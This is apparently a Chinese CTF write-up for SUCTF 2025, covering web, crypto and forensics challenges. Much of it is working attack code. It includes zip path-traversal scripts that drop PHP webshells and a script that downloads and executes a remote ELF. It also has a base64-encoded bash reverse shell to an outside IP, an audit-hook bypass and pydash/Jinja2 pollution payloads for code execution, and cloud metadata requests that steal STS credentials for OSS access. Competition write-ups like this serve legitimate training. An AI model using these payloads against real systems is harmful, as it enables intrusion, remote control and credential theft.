Suctf2025

–2标识为看的wp,没环境复现了

所有参考资料将在文本末尾标明

WEB

SU_photogallery

思路👇

构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而进入到if里,我们的shell就这样留下了

先是php版本的漏洞

再根据源码漏洞上码

三种写码方法如下👇

法一

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$zip = new ZipArchive();
$zipFilePath = 'exp.zip';

if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {

$zip->addFile('1.php', "..\./..\./a.jpg");

$zip->close();

echo "ok";
}
?>

配上

1
2
3
4
5
GET /upload/suimages/a.jpg?1=cat%20/seef1ag_getfl4g HTTP/1.1
Host: 1.95.157.235:10002
Connection: close

GET /upload/suimages/a.php?1=cat%20/seef1ag_getfl4g HTTP/1.1

法二

1
2
3
4
5
6
7
8
9
10
11
import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr('fff.php', b'''@<?php $a = "sy"."s"."tem"; $a("ls / ");?>''')
zf.writestr('A'*5000, b'AAAAA')

with open("shell.zip", "wb") as f:
f.write(mf.getvalue())

法三

1
手动改压缩包,塞入第二个文件的第二个名字换成/////

部分原因复现可能失败,我用火狐浏览器复现失败,换的Google成功

easyk8s

读取文件

1
2
3
4
# 打开文件并读取内容
with open('/app/audit.py', 'r') as file:
content = file.read()
print(content)

读取目录

1
2
3
4
5
6
7
8
9
10
11
import os

# 获取根目录(Unix/Linux/MacOS的根目录,Windows上会是C盘或其他驱动器)
root_dir = '/'

# 列出根目录下的文件和文件夹
files_and_dirs = os.listdir(root_dir)

# 打印所有文件和文件夹
for item in files_and_dirs:
print(item)

查找与其他网络关系

1
那就探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息,包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等,最终在proc/net/fib_trie发现一个

码也写不进去,shell出不来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
import requests

# 远程文件URL
url = 'http://123.56.226.71/mshell.elf'
# 目标保存的文件名
file_name = '/tmp/mshell.elf'
# 下载文件
response = requests.get(url)
with open(file_name, 'wb') as f:
f.write(response.content)

# 赋予执行权限
os.chmod(file_name, 0o755)

# 执行下载的文件
import ctypes

# 调用 C 的 system 函数
ctypes.CDLL("libc.so.6").system("sh /tmp/mshell.elf")

os.system(f'./{file_name}')
1
2
3
''.__class__.__mro__ [1].__subclasses__()[157].__init__.__globals__['sys'].modules['os']

''.__class__.__mro__ [1].__subclasses__()[157].__init__.__globals__['__builtins__']['eval']

–2

弹shell

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTYuMjM4LjIzMy4xMC8xMTQ1MiAwPiYx}|{base64,-d}|{bash,-i}"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
1
2
3
4
5
6
7
8
9
10
DEBUG=True  # open debug
import os,sys
op = print
def print(*args):
t = sys._getframe(1).f_locals['audit_functions']
t["os.system"]['ban']= False
op(t)
return op(*args)

os.system("ls") ## RCE

后边操作看不懂了,是nfs的

easyk8s-easy

–2

访问元数据

1
2
3
4
5
import requests

print(requests.get("http://100.100.100.200/latest/meta-data/ram/security-credentials/").text)

print(requests.get("http://100.100.100.200/latest/meta-data/ram/security-credentials/oss-root").text)

访问oss,以下命令在攻击者机器上执行

1
2
3
4
5
6
7
8
9
10
aliyun configure --mode=StsToken
# 配置 上面得到的 aksk

aliyun oss ls
# get oss://suctf-flag-bucket

aliyun oss ls oss://suctf-flag-bucket --all-versions
# 开了 bucket 版本控制 flag 被删除了 还原 可以得到 flag

aliyun oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA--

SU_blog

有文件包含,没使用权限,不是php,放弃

image-20250112101056361

有cve,bootstrap的CVE-2024-6531,没找到poc

image-20250112101221204

有提示

1
© 2025 My Blog. All rights reserved. 我最喜欢时间戳了,而且听说md5这种单项签名非常安全,所以我把博客诞生的时间当做了自己的SECRET

应该是身份伪造

–复现

先按照提示伪造身份

image-20250114161017831

image-20250114160922064

显示文件包含读取源码+waf,

读取waf用../间隔开用来

1
?file=articles/....//....//app/wa../f.py

然后pydash原型链污染

污染点

1
app.py的set_(user_data, key, value)

https://furina.org.cn/2023/12/18/prototype-pollution-in-pydash-ctf/

jinja2模板

1
{"name":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0","value":"*;import os;os.system('id')"}

根据waf修改完之后

1
{"key": ".__init__.__globals__.t.NamedTuple.__globals__.sys.modules.jinja2.runtime.exported[2]","value": "*;import os;os.system('/read* >/tmp/gaoren.txt')"}

image-20250114164822665

image-20250114164837794

jBOSS

CVE-2017-12149检测

  • /invoker/readonly

CVE-2017-7504检测

  • /jbossmq-httpil/HTTPServerILServlet

密码

SU_signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
K = GF(p)
E = EllipticCurve(K, (0, 4))
o = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289
n1, n2 = 859267, 52437899

flag = '0'
from tqdm import *
exec(open('data.txt').read())
for i in trange(1, len(cs)):
try:
roots = discrete_log((o//n1)*n2*E(cs[0]), (o//n1)*n2*E(cs[i]), operation='+')
flag += '0'
except:
flag += '1'
continue

from Crypto.Util.number import *
print(long_to_bytes(int(flag, 2)))

MISC

SU_forensics

Ubuntu14.04密码恢复

  1. 进入界面长按shift
  2. 高级选项
  3. revovery mode
  4. ro后边的改成quiet splash rw init=/bin/bash
    1. 倒数第四行,会看到一行Linux /boot/vmlnuz-4.2.0-27-generic …….ro recovery nomodeset,
    2. quiet splash rw init=/bin/bash
  5. f10启动
  6. passwd修改密码
    1. 然后passwd bkfish修改bkfish密码
  7. 最后visudo里加上去
    1. bkfish ALL=(ALL:ALL) ALL

这里面有个加密压缩包文件👇

1
https://github.com/testtttsu/homework/blob/a4be9c81ae540340f3e208dc9b1ee109ea50305c/lost_flag.txt

参考

1
https://blog.csdn.net/lcczzu/article/details/100148616

进程查看

1
2
lsof | grep deleted
#被删除却仍在使用

恢复文件

.bash_history

  • 每当你在终端中执行一个命令时,bash 会将该命令记录到 .bash_history 文件中
  • 位于用户的 主目录 中,如 /home/username/.bash_history

diskgenius

内容

1
2
3
echo "My secret has disappeared from this space and time, and you will never be able to find it."
curl -s -o /dev/null https://www.cnblogs.com/cuisha12138/p/18631364
sudo reboot

去搜索网站是一张图片,里面有加黑的key,需要调图片拿key

  • 2phxMo8iUE2bAVvdsBwZ

根据图片的网站进去有个脚本+压缩包文件源码

图片一堆奇怪文字,真成misc了,不做了

法一

image-20250119154741487

法二

strings开搜sudo reboot

1
strings xxx。vmdk |grep -n -A 20 -B 20 "sudo reboot"

找到bash_history

法三

1
sudo grep -a -B 50 -A 50 'sudo reboot' /dev/sda1 | tr -cd '\11\12\15\40-\176' > result.txt

虽然看起来我们的命令记录完全消失了,实际上如果运气比较好,对应的内容没有被覆盖,磁盘里可能还保留了.bash_history的文件内容,首先用df -h查看一下磁盘分区

命令的意思大概是用 grep/dev/sda1 中查找包含 sudo reboot 的行,并显示其上下 50 行的内容,然后通过 tr 过滤掉除 ASCII 可打印字符、空白符和换行符/回车符以外的所有字符,清理输出内容。最后,将处理后的内容保存到 result.txt 文件中。

法四

image-20250119161411277

real_checkin

1
2
3
4
5
6
7
8
🐍☂️🐈🌮🍟分别对应以下:
snake
umbrellla
cat
taco
fries
取第一个字符得到suctf,依次类推得到:
suctf{welcome_to_suctf_you_can_really_dance}

SU_ad

1
https://jk64eb0pjs.feishu.cn/docx/O6OUd1iSro8XcpxlpDAc0si5n5e
1
https://kcno7cq8euks.feishu.cn/wiki/PKx0w2LrtiVo99k3tEDc0xBnnre

checkin

直接搜flag追踪

image-20250114195526158

PBEWithMD5AndDES,密码长度为 23 位

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
from Crypto.Cipher import DES
from hashlib import md5
from base64 import b64decode
from tqdm import tqdm
from itertools import product
password = b"SePassWordLen23SUCTF"

OUTPUT = b"ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg="
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/{}_-"
enc = b64decode(OUTPUT)

salt = enc[:8]
enc = enc[8:]
s = product(alphabet, repeat=3)

for a, b, c in tqdm(s):
key = password + (a+b+c).encode() + salt
for i in range(1000):
key = md5(key).digest()
cipher = DES.new(key[:8], DES.MODE_CBC, iv = key[8:])
dec = cipher.decrypt(enc)
if b'SUCTF{' in dec or b'suctf{' in dec:
print(dec)
print(a+b+c)
exit()

参考

1
https://mp.weixin.qq.com/s/WAtpKN7lMzzr0pGUX07juA
1
https://mp.weixin.qq.com/s/sLE42aWH1FyYUiC3H9TwiA
1
https://jk64eb0pjs.feishu.cn/docx/O6OUd1iSro8XcpxlpDAc0si5n5e
1
https://blog.s1um4i.com/2025-SUCTF/#su_pwn
1
https://blog.0xfff.team/posts/suctf_2025_writeup/#su_photogallery
1
https://github.com/team-su/SUCTF-2025/tree/main/web/SU_photogallery/writeup